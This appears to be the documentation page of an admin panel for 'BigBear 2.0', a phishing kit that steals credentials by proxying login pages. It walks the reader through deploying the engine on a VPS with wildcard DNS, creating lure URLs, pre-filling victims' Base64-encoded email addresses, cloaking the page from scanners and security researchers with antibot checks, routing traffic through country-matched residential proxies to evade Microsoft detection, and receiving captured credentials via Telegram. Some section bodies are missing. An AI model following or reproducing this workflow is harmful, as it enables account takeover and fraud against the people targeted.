BigBear 2.0

Proxy Pool (0 proxies)

1. Buy a domain (e.g. example.com) and a fresh Ubuntu VPS.
2. Point DNS — Add two A records at your registrar:
   A   example.com       → VPS_IP
A   *.example.com    → VPS_IP
3. Add VPS in this panel — Enter the IP, SSH credentials, domain, and Telegram webhook.
4. Click Install — The panel uploads the engine, configures everything, obtains SSL certificates automatically, and starts the engine.
5. Create a Lure — Go to Lures, create one with path /meetings. Your lure URL is ready to send.

Adding a VPS

1. Click + Add VPS and fill in the Name, IP, SSH port (usually 22), username (root), and password.
2. Set the Domain you will use (e.g. example.com). DNS must already point to the VPS IP.
3. BigBear Path is where the engine gets installed (default: /root/bigbear).
4. Telegram Webhook sends real-time alerts. Format: BOT_TOKEN/CHAT_ID (see Telegram section below).

VPS Actions

• Install: Runs the full automated setup on a fresh VPS (uploads engine, configures firewall, obtains SSL, starts service).
• Edit: Update IP, credentials, domain, or Telegram webhook.
• Delete: Removes the VPS from the panel. Does not touch the remote server.

1. Upload — Transfers bigbear2.zip to the VPS containing the engine binary, phishlets, and proxy.json.
2. Extract — Unpacks the engine files to the BigBear path.
3. Firewall — Opens ports 443, 80, 53, and 7654. Frees port 53 from systemd-resolved.
4. Configuration — Writes config.json with your domain, IP, and Telegram settings.
5. Systemd Service — Creates and enables bigbear-engine.service for automatic startup.
6. Start Engine — Launches the engine. SSL certificates are obtained automatically via Let's Encrypt.

Required DNS Records

Add these two A records at your registrar (e.g. Namecheap, Cloudflare, GoDaddy):

• Start: Starts the BigBear engine via systemd. The engine binds to ports 443, 80, 53, and 7654.
• Stop: Stops the engine cleanly and releases all ports.
• Restart: Stops, waits for ports to release, then starts again. Use this after configuration changes.
• Logs: View real-time engine logs (visitors, credentials, antibot decisions, proxy routing).

• Domain: The base domain for your phishing setup (e.g. example.com). Cannot be changed after installation without reinstalling.
• External IP: Your VPS's public IP. Must match your DNS A records exactly.
• Redirect URL: Where blocked visitors (bots, VPNs, datacenter IPs) get redirected. Default: https://www.google.com
• IPAPI Key: API key from ipapi.is for IP intelligence (antibot checks). Required for the antibot to work.
• Telegram: Bot token and chat ID for real-time notifications.

Key Fields

• Subdomain: The landing subdomain (the one with is_landing: true). This is used in your lure URLs. You can change it from this panel.
• Domain: Auto-filled from your VPS configuration.
• Enabled/Disabled: Toggle the phishlet on or off.

How Lures Work

1. Create a lure and set a path (e.g. /meetings).
2. Your lure URL becomes: https://management.example.com/meetings
3. When a visitor opens this URL, the engine runs the antibot check (ipapi.is).
4. If the visitor passes (residential IP), the engine creates a session, whitelists their IP, and redirects them to the login page.
5. If blocked (datacenter/VPN/proxy IP), the visitor is redirected to the redirect URL (default: google.com).

Lure Fields

How to Use

1. Take your target's email (e.g. john@company.com).
2. Encode it in Base64: am9obkBjb21wYW55LmNvbQ (use any Base64 encoder).
3. Append ?handler=am9obkBjb21wYW55LmNvbQ to your lure URL.

Session Stages

How It Works

1. When a visitor arrives, the antibot detects their country via ipapi.is (e.g. "Austria").
2. All requests from that visitor to the target site are routed through the AT (Austria) proxy from proxy.json.
3. Microsoft sees traffic coming from a residential Austrian IP instead of your VPS datacenter IP.

Fallback Chain

1. Exact country proxy — Matches the visitor's country code.
2. UK (GB) proxy — If the country proxy fails or is unavailable.
3. Direct VPS IP — Last resort if all proxies fail.

What Gets Checked

• IP Blacklist: IPs manually added to blacklist.txt are blocked immediately.
• Bot User Agents: Known bot/scanner user agents are blocked.
• IP Intelligence (ipapi.is): Every request is checked synchronously. Datacenter, VPN, and proxy IPs are blocked. Only residential IPs pass through.

What Happens When Blocked

Blocked visitors are redirected to the Redirect URL (configured in Configuration section, default: google.com). They never see the phishing page.

Step 1: Create a Telegram Bot

1. Open Telegram and search for @BotFather.
2. Send the command /newbot.
3. Choose a name for your bot (e.g. "My Alerts").
4. Choose a username (e.g. myalerts_bot).
5. BotFather will reply with your Bot Token. It looks like:
   7842901234:AAF_abcdef123456789xyz
6. Save this token.

Step 2: Get Your Chat ID

1. Open Telegram and search for @userinfobot (or @getmyid_bot).
2. Send /start to the bot.
3. It will reply with your Chat ID (a number like 123456789).

For group chats: Add your bot to the group, send a message, then visit https://api.telegram.org/bot<TOKEN>/getUpdates and find the chat ID (it will be a negative number like -100xxxxxxxxxx).

Step 3: Enter in the Panel

When adding or editing a VPS, paste into the Telegram Webhook field using this format:

Notification Events